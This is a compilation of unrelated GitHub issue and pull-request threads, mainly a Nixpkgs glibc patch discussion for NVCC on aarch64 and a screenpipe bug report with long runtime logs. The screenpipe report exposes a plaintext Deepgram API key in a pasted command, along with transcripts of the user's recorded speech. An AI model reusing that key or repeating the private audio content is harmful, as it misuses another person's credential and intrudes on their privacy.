Users with config.cudaSupport = true would need to bootstrap a second copy of Nixpkgs with a glibc containing these changes.
Manually patching NVCC, CMake, and the include paths of a package like Magma was not enough:  CMake's compiler identification routine fails to build its trivial CUDA file because it picks the unpatched GLIBC.
Assuming a manual patch against NVCC and or the build systems does work, every CUDA-enabled package must incorporate the relevant changes to ensure the unpatched GLIBC does not make its way in.
This patch follows the precedent set by upstream by guarding against inclusion of these intrinsics when an unsupported compiler is detected. We ensure that only NVCC is affected by this patch.

Description of changes
GLIBC 2.37 -> 2.38 broke CUDA compilation on ARM because it introduced ARM intrinsics in math.h. Here are the ones which are causing the errors: https://github.com/bminor/glibc/blob/36f2487f13e3540be9ee0fb51876b1da72176d3f/sysdeps/aarch64/fpu/bits/math-vector.h#L28-L36.
NVCC declares itself to be the same compiler as its host compiler. This causes inclusion of unsupported aarch64-linux intrinsics.
This patch follows the precedent set by upstream by guarding against inclusion of such intrinsics when an unsupported compiler (like NVCC) is detected. I intend to upstream a copy of it as well.
The patch is applied only for aarch64-linux.
Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

@ofborg build cudaPackages.saxpy

it is important that this patch is applied within Nixpkgs, rather than waiting for upstream to accept and apply such a fix.

This is partially correct only: for each release there's an active release branch where patches from their main branch are backported to, we mainly need to update the patchset here.

to accept and apply such a fix.

Please file it upstream anyways. I'd very much prefer to only update our patchlevel rather than maintaining our own patches that nobody else uses.

This patch follows the precedent set by upstream by guarding against inclusion of these intrinsics when an unsupported compiler is detected. We ensure that only NVCC is affected by this patch.

Agreed :+1:
The approach seems OK to me.
Is there any particular reason though that this is a draft?

@ofborg build python3Minimal

Is there any particular reason though that this is a draft?

I had some trouble rebasing this change from master to staging and wanted to avoid mass-pinging a bunch of people until I got it right. Moving it out of draft now!

@Ma27 this is a blocker for a number of tasks I'm working on -- is it okay if we do them in parallel?
Here's the list of tasks to get them to consider the patch:

[x] Email the source ware administrators to have them create an account on Bugzilla for me.
[ ] Set up account and post bug report of observed breakage with NVCC.
[ ] Email the patch which references the bug report.

Note: per their contributing guidelines, the patch must reference a bug in Bugzilla because it fixes a user-visible defect.

I've emailed and am awaiting account creation. Is that sufficient?

@Ma27 @SomeoneSerge @jonringer after some more research:

GLIBC bug report about this issue: https://sourceware.org/bugzilla/show_bug.cgi?id=30909
GLIBC patch<EMAIL_ADDRESS>
it's clear that upstream believes compilers should not pretend to implement recent GCC versions if they do not, and does not intend to fix this issue. That's principled and I applaud them for it; however, the fact remains that there's no easy way to patch NVCC because it is a closed source project and relied on heavily in the High Performance Computing (HPC) space.
With your blessing, I'd like to merge this to unblock a number of different issues and restore functionality to the CUDA packages Nixpkgs provides.
I don't share the same concern as the GLIBC maintainers do about bitrot or forgotten fixes because we maintain our patches alongside the project, rather than embedding them in the source code. If and when support is added and new versions of NVCC are released for all prior versions of CUDA with a fix, we could revisit this patch.
Is this agreeable?

Just read the ML thraed about the other patch suggested and I agree with your assesment.. Because of that I'm inclined to give an OK to this. There's one thing we should talk about before however given that this patch will probably live a little longer in nixpkgs: are you open to reviewing changes that possibly affect this patch? This includes at least glibc version upgrades and changes to the patch itself.
AFAIU I won't be able to do that without nvidia hardware, so I can't do that, correct? If so, please add a note about you maintaining the patch above the inclusion in common.nix.

Is this agreeable?

I think this is right. We still probably have to patch some downstream apps (torch, opencv?) on master, because otherwise your modules+jetson support PR is blocked for a while

are you open to reviewing changes that possibly affect this patch

I'm not going to answer for @ConnorBaker, but I'm up for reviewing such changes as well

AFAIU I won't be able to do that without nvidia hardware, so I can't do that, correct

I'll just note that one doesn't need nvidia hardware to run the builds

... are you open to reviewing changes that possibly affect this patch? This includes at least glibc version upgrades and changes to the patch itself.

I am!

AFAIU I won't be able to do that without nvidia hardware, so I can't do that, correct?

Nah, it's a build failure and the build only requires the CPU. You'd run into this so long as config.cudaSupport = true and you're building for (or on) aarch64-linux.

If so, please add a note about you maintaining the patch above the inclusion in common.nix.

Will do!

Added myself as a maintainer, merging. Thank you for your help and guidance, @Ma27!


The workflow menu doesn't hide the /unit_tests menu in VSCode v0.1.39.

In VSCode 0.1.39, this menu should be hidden.

V0.1.40 will hide /unit_tests and add text button before function to call /unit_tests more easier.


Info_Scilifelab_site

add more information to the hackathon site at Scilifelab

@nf-core-bot fix linting pretty please 🥺


npm run start:spo fails with 401

Even after getkeys, forceReauth, and navigating to /odspLogin, trying npm run start:spo on any webpack-fluid-loader demo (e.g. diceroller) fails with a 401 error.  npm run start:spo-df works fine.
fetch.ts:16          GET https://microsoft-my.sharepoint-df.com/_api/v2.1/drive/root%3A/r11s/%3A 401
fetch @ fetch.ts:16
(anonymous) @ odspRequest.ts:16
(anonymous) @ odspRequest.ts:59
safeRequestCore @ odspRequest.ts:66
(anonymous) @ odspRequest.ts:59
authRequestWithRetry @ odspAuth.ts:152
authRequest @ odspRequest.ts:57
getAsync @ odspRequest.ts:16
getDriveItem @ odspDrives.ts:145
getDriveItemByRootFileName @ odspDrives.ts:75
createCreateNewRequest @ odspUrlResolver.ts:63
createRequestForCreateNew @ multiResolver.ts:127
attachContainer @ loader.ts:445
start @ loader.ts:331
await in start (async)
(anonymous) @ new:19
odspErrorUtils.ts:192 Uncaught (in promise) Error: Unable to get drive/item id from path
    at createOdspNetworkError (odspErrorUtils.ts:192:25)
    at throwOdspNetworkError (odspErrorUtils.ts:300:26)
    at getDriveItem (odspDrives.ts:149:34)
    at async OdspUrlResolver.createCreateNewRequest (odspUrlResolver.ts:63:27)
    at async attachContainer (loader.ts:445:11)
    at async Object.start (loader.ts:331:22)

Prior to the 401, I'm seeing a 308 redirect from https://microsoft-my.sharepoint.com//_api/v2.1/drive/root:/r11s/: to https://microsoft-my.sharepoint-df.com/_api/v2.1/drive/root:/r11s/: (note the df) which is the url that actually 401s.  This seems odd to me, not sure if expected.
End result is none of the demos using webpack-fluid-loader work with spo currently.

I believe this is technically by-design, and one of these two commands will work depending on whether the user is in dogfood or not.  Confusing, but doesn't seem to be a bug at the moment.


[FEATURE] Execute commands in parallel

The Terraform provider should be capable of a parallel execution of commands that create/update/delete resources in parallel.
As the Terraform provider is delegating this to the BTP CLI backend, this capability must be first implemented in the BTP CLI backend to use it in the provider

By default, independent resources are created parallely. This means from our provider's perspective we don't really need to do much for the implementation.
Another aspect that was verified is how the provider handles authentication. The provider makes use of sessions for each step. Since the authentication happens in the Configure, the authentication is done whenever Configure function is called. Configure is called many commands like plan, apply & delete.
For E.g: Since terraform apply also explicitly runs terraform plan, the provider authenticates twice.
TLDR: We can close this backlog as there is nothing more that needs to be done from implementation perspective.


Does this allow duplicative prefix?

We want to keep things simple. Our canary network's prefix is 42 which is the same as the Substrate default prefix. Can I open a PR to add it to this repository?

No we don't support this. 42 should be used by test networks which don't have any value.


Butteraugli Score 0.000

Hi, I get a butteraugli 0 score when processing this images.
Butteraugli can be in a range between 1.0 and 1.5 (when quality is 95), but I think 0.0 is wrong.
What's wrong?
my terminal

input image

guetzli output image (-q 95)

I took your input image and i created a guetzli image ( -q 95)
https://i.gyazo.com/1631dc42f0c9486a088dfb091839258d.png
https://drive.google.com/file/d/1wGv2G4Ez5rvNaB-DnpKn-DL0XPBW8oKy/view?usp=sharing
butteraugli_main is the latest most updated version of butteraugli that you get when you compile Pik

Thank you for replying.
I just tried your images, and I could get normal butteraugli values.
Can you try these images at your convenience?
images_1024.jpg is input image and guetzli_images_1024.jpg is output image after processing guetzli.
https://drive.google.com/drive/folders/1SUFIDloYoLDqX2lVtYq-zq_VUcmR7_li?usp=sharing


Add GitHub Updater to list

WP-CLI commands as subcommands of plugin install-git, theme install-git, as well as other commands.

Thanks @afragen !
This document has moved to https://github.com/wp-cli/handbook/blob/master/tools.md — please submit your PR there :)

Will do.


[bug] v.2.1.1 not recording screen

describe the bug
not recording video

I see errors for deepgram but the ENV VAR is set

system info

os: win11
screenpipe version: v.2.1.1

additional context
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

Loading personal and system profiles took 540ms.
PS C:\Users\denni> %LOCALAPPDATA%\screenpipe\screenpipe.exe --audio-transcription-engine deepgram --ocr-engine windows-native --monitor-id 65650 --audio-device "Microphone (HD Pro Webcam C920) (input)" --audio-device "SAMSUNG (NVIDIA High Definition Audio) (output)" --ignored-windows "bit" --ignored-windows "VPN" --ignored-windows "Trash" --ignored-windows "Private" --ignored-windows "Incognito" --ignored-windows "Wallpaper" --ignored-windows "Settings" --ignored-windows "Keepass" --ignored-windows "Recorder" --ignored-windows "Vaults" --ignored-windows "OBS Studio" --ignored-windows "Nvidia" --ignored-windows "Control Panel" --ignored-windows "System Properties" --deepgram-api-key "fa5ab34deecea374b9e61370650ef1766286242b" --fps 1 --enable-frame-cache
%LOCALAPPDATA%\screenpipe\screenpipe.exe : The module '%LOCALAPPDATA%' could not be loaded. For more information, run
'Import-Module %LOCALAPPDATA%'.
At line:1 char:1
+ %LOCALAPPDATA%\screenpipe\screenpipe.exe --audio-transcription-engine ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (%LOCALAPPDATA%\screenpipe\screenpipe.exe:String) [], CommandNotFoundExc
   eption
    + FullyQualifiedErrorId : CouldNotAutoLoadModule

PS C:\Users\denni> cmd
Microsoft Windows [Version 10.0.26100.2454]
(c) Microsoft Corporation. All rights reserved.

C:\Users\denni>%LOCALAPPDATA%\screenpipe\screenpipe.exe --audio-transcription-engine deepgram --ocr-engine windows-native --monitor-id 65650 --audio-device "Microphone (HD Pro Webcam C920) (input)" --audio-device "SAMSUNG (NVIDIA High Definition Audio) (output)" --ignored-windows "bit" --ignored-windows "VPN" --ignored-windows "Trash" --ignored-windows "Private" --ignored-windows "Incognito" --ignored-windows "Wallpaper" --ignored-windows "Settings" --ignored-windows "Keepass" --ignored-windows "Recorder" --ignored-windows "Vaults" --ignored-windows "OBS Studio" --ignored-windows "Nvidia" --ignored-windows "Control Panel" --ignored-windows "System Properties" --deepgram-api-key "fa5ab34deecea374b9e61370650ef1766286242b" --fps 1 --enable-frame-cache
2024-12-24T06:45:27.257837Z  WARN screenpipe: screenpipe PATH check failed: the PATH is too long to persist using 'setx'. please shorten the PATH.
2024-12-24T06:45:27.258072Z  WARN screenpipe: please ensure screenpipe is installed correctly and is in your PATH
2024-12-24T06:45:27.383105Z  INFO screenpipe_server::db: running migrations
2024-12-24T06:45:27.384338Z  INFO screenpipe_server::db: migrations executed successfully.

                                            _
   __________________  ___  ____     ____  (_____  ___
  / ___/ ___/ ___/ _ \/ _ \/ __ \   / __ \/ / __ \/ _ \
 (__  / /__/ /  /  __/  __/ / / /  / /_/ / / /_/ /  __/
/____/\___/_/   \___/\___/_/ /_/  / .___/_/ .___/\___/
                                 /_/     /_/

build ai apps that have the full context
open source | runs locally | developer friendly

┌─────────────────────┬────────────────────────────────────┐
│ setting             │ value                              │
├─────────────────────┼────────────────────────────────────┤
│ fps                 │ 1                                  │
2024-12-24T06:45:27.385152Z  INFO screenpipe_audio::whisper: device = Cpu
│ audio chunk duration│ 30 seconds                         │
│ video chunk duration│ 60 seconds                         │
│ port                │ 3030                               │
│ audio disabled      │ false                              │
│ vision disabled     │ false                              │
│ audio engine        │ Deepgram                           │
│ ocr engine          │ WindowsNative                      │
│ vad engine          │ Silero                             │
│ vad sensitivity     │ High                               │
│ data directory      │ C:\Users\denni\.screenpipe         │
│ debug mode          │ false                              │
│ telemetry           │ true                               │
│ local llm           │ false                              │
│ use pii removal     │ false                              │
│ ignored windows     │ ["bit", "VPN", "Trash", "Privat... │
│ included windows    │ []                                 │
│ ui monitoring       │ false                              │
│ frame cache         │ true                               │
├─────────────────────┼────────────────────────────────────┤
│ languages           │                                    │
│                     │ all languages                      │
├─────────────────────┼────────────────────────────────────┤
│ monitors            │                                    │
│                     │ id: 65650                          │
├─────────────────────┼────────────────────────────────────┤
│ audio devices       │                                    │
│                     │ Microphone (HD Pro Webcam C920)... │
│                     │ SAMSUNG (NVIDIA High Definition... │
├─────────────────────┼────────────────────────────────────┤
│ pipes               │                                    │
│                     │ (disabled) pipe-for-loom           │
│                     │ (disabled) pipe-simple-nextjs      │
│                     │ (enabled) search                   │
│                     │ (disabled) search._temp            │
└─────────────────────┴────────────────────────────────────┘
warning: you are using cloud now. make sure to understand the data privacy risks.
warning: telemetry is enabled. only error-level data will be sent to highlight.io.
to disable, use the --disable-telemetry flag.

check latest changes here: https://github.com/mediar-ai/screenpipe/releases
2024-12-24T06:45:27.410629Z  INFO screenpipe: starting pipes
2024-12-24T06:45:27.414372Z  INFO screenpipe_server::server: Server starting on <IP_ADDRESS>:3030
2024-12-24T06:45:27.421398Z  INFO screenpipe_core::pipes::pipes: installing dependencies for next.js pipe [search]
2024-12-24T06:45:34.091760Z  INFO screenpipe_audio::vad_engine: Initializing SileroVad...
2024-12-24T06:45:34.092307Z  INFO screenpipe_audio::vad_engine: SileroVad Model downloaded to: "C:\\Users\\denni\\AppData\\Local\\screenpipe\\vad\\silero_vad.onnx"
2024-12-24T06:45:36.804330Z  INFO screenpipe_core::pipes::pipes: pipe execution completed successfully [search]
2024-12-24T06:45:36.804488Z  INFO screenpipe_server::pipe_manager: started pipe: search with pid 4944
2024-12-24T06:45:36.841832Z  INFO screenpipe_core::pipes::pipes: [search] $ next dev --turbopack --port "59686"
2024-12-24T06:45:37.790593Z  INFO screenpipe_server::resource_monitor: Runtime: 10s, Total Memory: 5% (3.25 GB / 65.36 GB), Total CPU: 43%
2024-12-24T06:45:38.563626Z  INFO screenpipe_core::pipes::pipes: [search]    ▲ Next.js 15.1.0 (Turbopack)
2024-12-24T06:45:38.563850Z  INFO screenpipe_core::pipes::pipes: [search]    - Local:        http://localhost:59686
2024-12-24T06:45:38.563966Z  INFO screenpipe_core::pipes::pipes: [search]    - Network:      http://<IP_ADDRESS>:59686
2024-12-24T06:45:38.564153Z  INFO screenpipe_core::pipes::pipes: [search]
2024-12-24T06:45:38.564280Z  INFO screenpipe_core::pipes::pipes: [search]  ✓ Starting...
2024-12-24T06:45:40.509303Z  INFO screenpipe_core::pipes::pipes: [search]  ✓ Ready in 2.1s
2024-12-24T06:45:42.409227Z  INFO screenpipe_audio::core: starting continuous recording for Microphone (HD Pro Webcam C920) (input) (30s segments)
2024-12-24T06:45:42.409244Z  INFO screenpipe_audio::core: starting continuous recording for SAMSUNG (NVIDIA High Definition Audio) (output) (30s segments)
2024-12-24T06:45:47.815000Z  INFO screenpipe_server::resource_monitor: Runtime: 20s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 1%
2024-12-24T06:45:57.866847Z  INFO screenpipe_server::resource_monitor: Runtime: 30s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 3%
2024-12-24T06:46:07.891504Z  INFO screenpipe_server::resource_monitor: Runtime: 40s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 3%
2024-12-24T06:46:12.512602Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.08, min_speech_ratio: 0.2, audio_frames: 478720, speech_frames: 24
2024-12-24T06:46:17.912266Z  INFO screenpipe_server::resource_monitor: Runtime: 50s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 4%
2024-12-24T06:46:27.938809Z  INFO screenpipe_server::resource_monitor: Runtime: 60s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 1%
2024-12-24T06:46:37.976896Z  INFO screenpipe_server::resource_monitor: Runtime: 70s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 1%
2024-12-24T06:46:42.525397Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.06853583, min_speech_ratio: 0.2, audio_frames: 512160, speech_frames: 22
2024-12-24T06:46:47.995846Z  INFO screenpipe_server::resource_monitor: Runtime: 80s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:46:58.057018Z  INFO screenpipe_server::resource_monitor: Runtime: 90s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:47:08.075830Z  INFO screenpipe_server::resource_monitor: Runtime: 100s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 1%
2024-12-24T06:47:12.536071Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.024922118, min_speech_ratio: 0.2, audio_frames: 512160, speech_frames: 8
2024-12-24T06:47:18.114446Z  INFO screenpipe_server::resource_monitor: Runtime: 110s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:47:28.133972Z  INFO screenpipe_server::resource_monitor: Runtime: 120s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:47:38.163925Z  INFO screenpipe_server::resource_monitor: Runtime: 130s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:47:42.581552Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0, min_speech_ratio: 0.2, audio_frames: 510976, speech_frames: 0
2024-12-24T06:47:48.213848Z  INFO screenpipe_server::resource_monitor: Runtime: 140s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:47:58.232111Z  INFO screenpipe_server::resource_monitor: Runtime: 150s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:48:08.252109Z  INFO screenpipe_server::resource_monitor: Runtime: 160s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 3%
2024-12-24T06:48:12.555109Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0, min_speech_ratio: 0.2, audio_frames: 512160, speech_frames: 0
2024-12-24T06:48:18.310220Z  INFO screenpipe_server::resource_monitor: Runtime: 170s, Total Memory: 5% (3.25 GB / 65.36 GB), Total CPU: 4%
2024-12-24T06:48:28.364769Z  INFO screenpipe_server::resource_monitor: Runtime: 181s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 2%
2024-12-24T06:48:38.407683Z  INFO screenpipe_server::resource_monitor: Runtime: 191s, Total Memory: 5% (3.26 GB / 65.36 GB), Total CPU: 3%
2024-12-24T06:48:42.570151Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.3364486, min_speech_ratio: 0.2, audio_frames: 512160, speech_frames: 108
2024-12-24T06:48:44.801845Z ERROR screenpipe_audio::stt: deepgram api error code: String("Unauthorized"), result: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("b933cd6a-0599-401c-a1b8-9952f9524ee2")}
2024-12-24T06:48:44.802417Z ERROR screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), deepgram transcription failed, falling back to Whisper: Deepgram API error: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("b933cd6a-0599-401c-a1b8-9952f9524ee2")}
2024-12-24T06:48:48.426529Z  INFO screenpipe_server::resource_monitor: Runtime: 201s, Total Memory: 5% (3.33 GB / 65.36 GB), Total CPU: 164%
2024-12-24T06:48:51.586848Z  INFO screenpipe_audio::multilingual: detected language: "en"
2024-12-24T06:48:58.456477Z  INFO screenpipe_server::resource_monitor: Runtime: 211s, Total Memory: 5% (3.51 GB / 65.36 GB), Total CPU: 445%
2024-12-24T06:49:08.472511Z  INFO screenpipe_server::resource_monitor: Runtime: 221s, Total Memory: 5% (3.36 GB / 65.36 GB), Total CPU: 446%
2024-12-24T06:49:10.450157Z  INFO screenpipe_audio::whisper:   0.0s-0.0s:
2024-12-24T06:49:10.450296Z  INFO screenpipe_audio::whisper:   0.0s-1.1s:  Yes?
2024-12-24T06:49:10.450402Z  INFO screenpipe_audio::whisper:   1.1s-3.2s:  For months, nobody will be able to talk in anything.
2024-12-24T06:49:10.509608Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) received transcription Some(" Yes? For months, nobody will be able to talk in anything.\n")
2024-12-24T06:49:10.653690Z  INFO screenpipe_server::core: Detected speaker: Speaker { id: 1000, name: "", metadata: "" }
2024-12-24T06:49:10.653814Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) inserting audio chunk: "C:\\Users\\denni\\.screenpipe\\data\\Microphone (HD Pro Webcam C920) (input)_2024-12-24_06-48-43.mp4"
2024-12-24T06:49:11.891227Z ERROR screenpipe_audio::stt: deepgram api error code: String("Unauthorized"), result: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("f4f45a15-2070-4aad-b383-e35a0666d311")}
2024-12-24T06:49:11.892150Z ERROR screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), deepgram transcription failed, falling back to Whisper: Deepgram API error: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("f4f45a15-2070-4aad-b383-e35a0666d311")}
2024-12-24T06:49:18.500359Z  INFO screenpipe_server::resource_monitor: Runtime: 231s, Total Memory: 5% (3.35 GB / 65.36 GB), Total CPU: 372%
2024-12-24T06:49:18.872984Z  INFO screenpipe_audio::multilingual: detected language: "en"
2024-12-24T06:49:28.523453Z  INFO screenpipe_server::resource_monitor: Runtime: 241s, Total Memory: 5% (3.43 GB / 65.36 GB), Total CPU: 445%
2024-12-24T06:49:38.549602Z  INFO screenpipe_server::resource_monitor: Runtime: 251s, Total Memory: 5% (3.36 GB / 65.36 GB), Total CPU: 430%
2024-12-24T06:49:44.037362Z  INFO screenpipe_audio::whisper:   0.0s-0.0s:
2024-12-24T06:49:44.037510Z  INFO screenpipe_audio::whisper:   0.0s-3.1s:  Honey, you just need to tell me if it's the data that you want.
2024-12-24T06:49:44.037609Z  INFO screenpipe_audio::whisper:   3.2s-6.3s:  I can put it in whatever format you want, but that's what we got.
2024-12-24T06:49:44.037702Z  INFO screenpipe_audio::whisper:   6.5s-8.2s:  It's a TXT file, honey.
2024-12-24T06:49:44.129445Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) received transcription Some(" Honey, you just need to tell me if it's the data that you want. I can put it in whatever format you want, but that's what we got. It's a TXT file, honey.\n")
2024-12-24T06:49:44.138074Z  INFO screenpipe_server::core: Detected speaker: Speaker { id: 718, name: "", metadata: "" }
2024-12-24T06:49:44.138235Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) inserting audio chunk: "C:\\Users\\denni\\.screenpipe\\data\\Microphone (HD Pro Webcam C920) (input)_2024-12-24_06-48-43.mp4"
2024-12-24T06:49:44.171914Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.1577287, min_speech_ratio: 0.2, audio_frames: 507200, speech_frames: 50
2024-12-24T06:49:44.551556Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.44479495, min_speech_ratio: 0.2, audio_frames: 506464, speech_frames: 141
2024-12-24T06:49:46.736188Z ERROR screenpipe_audio::stt: deepgram api error code: String("Unauthorized"), result: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("8a21c814-d316-475b-b265-f7ea6c752461")}
2024-12-24T06:49:46.737087Z ERROR screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), deepgram transcription failed, falling back to Whisper: Deepgram API error: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("8a21c814-d316-475b-b265-f7ea6c752461")}
2024-12-24T06:49:48.573264Z  INFO screenpipe_server::resource_monitor: Runtime: 261s, Total Memory: 5% (3.36 GB / 65.36 GB), Total CPU: 320%
2024-12-24T06:49:53.714460Z  INFO screenpipe_audio::multilingual: detected language: "en"
2024-12-24T06:49:58.671110Z  INFO screenpipe_server::resource_monitor: Runtime: 271s, Total Memory: 6% (3.69 GB / 65.36 GB), Total CPU: 437%
2024-12-24T06:50:08.692027Z  INFO screenpipe_server::resource_monitor: Runtime: 281s, Total Memory: 5% (3.58 GB / 65.36 GB), Total CPU: 445%
2024-12-24T06:50:11.196965Z  INFO screenpipe_audio::whisper:   0.0s-0.0s:
2024-12-24T06:50:11.197113Z  INFO screenpipe_audio::whisper:   0.0s-1.4s:  - Thank you.
2024-12-24T06:50:11.294266Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) received transcription Some(" - Thank you.\n")
2024-12-24T06:50:11.300425Z  INFO screenpipe_server::core: Detected speaker: Speaker { id: 13, name: "", metadata: "" }
2024-12-24T06:50:11.300548Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) inserting audio chunk: "C:\\Users\\denni\\.screenpipe\\data\\Microphone (HD Pro Webcam C920) (input)_2024-12-24_06-49-45.mp4"
2024-12-24T06:50:12.403332Z ERROR screenpipe_audio::stt: deepgram api error code: String("Unauthorized"), result: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("0de84084-7d37-46f2-8c82-c2a92623fda9")}
2024-12-24T06:50:12.403531Z ERROR screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), deepgram transcription failed, falling back to Whisper: Deepgram API error: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("0de84084-7d37-46f2-8c82-c2a92623fda9")}
2024-12-24T06:50:18.711662Z  INFO screenpipe_server::resource_monitor: Runtime: 291s, Total Memory: 5% (3.38 GB / 65.36 GB), Total CPU: 392%
2024-12-24T06:50:19.305664Z  INFO screenpipe_audio::multilingual: detected language: "ja"
2024-12-24T06:50:28.762204Z  INFO screenpipe_server::resource_monitor: Runtime: 301s, Total Memory: 6% (3.71 GB / 65.36 GB), Total CPU: 450%
2024-12-24T06:50:36.965750Z  INFO screenpipe_audio::whisper:   0.0s-0.0s:
2024-12-24T06:50:36.965956Z  INFO screenpipe_audio::whisper:   0.0s-1.6s: ご視聴ありがとうございました。
2024-12-24T06:50:37.064980Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) received transcription Some("ご視聴ありがとうございました。\n")
2024-12-24T06:50:37.071823Z  INFO screenpipe_server::core: Detected speaker: Speaker { id: 13, name: "", metadata: "" }
2024-12-24T06:50:37.071953Z  INFO screenpipe_server::core: device Microphone (HD Pro Webcam C920) (input) inserting audio chunk: "C:\\Users\\denni\\.screenpipe\\data\\Microphone (HD Pro Webcam C920) (input)_2024-12-24_06-49-45.mp4"
2024-12-24T06:50:37.102333Z  INFO screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), speech ratio: 0.48427674, min_speech_ratio: 0.2, audio_frames: 507488, speech_frames: 154
2024-12-24T06:50:38.812518Z  INFO screenpipe_server::resource_monitor: Runtime: 311s, Total Memory: 5% (3.33 GB / 65.36 GB), Total CPU: 374%
2024-12-24T06:50:39.124564Z ERROR screenpipe_audio::stt: deepgram api error code: String("Unauthorized"), result: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("b3de9431-2fcc-4bb4-ad5f-b1adc6bc913f")}
2024-12-24T06:50:39.125506Z ERROR screenpipe_audio::stt: device: Microphone (HD Pro Webcam C920) (input), deepgram transcription failed, falling back to Whisper: Deepgram API error: Object {"err_code": String("Unauthorized"), "err_msg": String("Invalid credentials."), "request_id": String("b3de9431-2fcc-4bb4-ad5f-b1adc6bc913f")}
2024-12-24T06:50:46.181813Z  INFO screenpipe_audio::multilingual: detected language: "ru"
2024-12-24T06:50:48.841670Z  INFO screenpipe_server::resource_monitor: Runtime: 321s, Total Memory: 5% (3.47 GB / 65.36 GB), Total CPU: 417%
2024-12-24T06:50:58.857795Z  INFO screenpipe_server::resource_monitor: Runtime: 331s, Total Memory: 5% (3.47 GB / 65.36 GB), Total CPU: 444%
2024-12-24T06:51:08.955228Z  INFO screenpipe_server::resource_monitor: Runtime: 341s, Total Memory: 6% (3.74 GB / 65.36 GB), Total CPU: 437%
2024-12-24T06:51:18.978542Z  INFO screenpipe_server::resource_monitor: Runtime: 351s, Total Memory: 5% (3.45 GB / 65.36 GB), Total CPU: 443%

I see UI monitoring is set to false.  What is the flag to set it to true?

only macos

it seems to work, you are just not waiting enough


[ESXi] add kargs option to install task

Build finished.

@jlongever  this PR has conflict now.
Thanks.

@amymullins : as talked in slack? could you please add a follow-up item to add the schema for new option. Then this PR is :+1: for me.

New story for argument validation created: https://www.pivotaltracker.com/story/show/132688237


JS SDK - ServiceGroups.list() not returning Service Levels

https://shippo.atlassian.net/browse/CET-392

Merged these tests into most recent SDK generation: https://github.com/goshippo/shippo-javascript-sdk/pull/85


ContentBroker does not report the response to the LRS

the extended result is empty

it also does not report the correct score


proposal: database/sql: support more nullable types

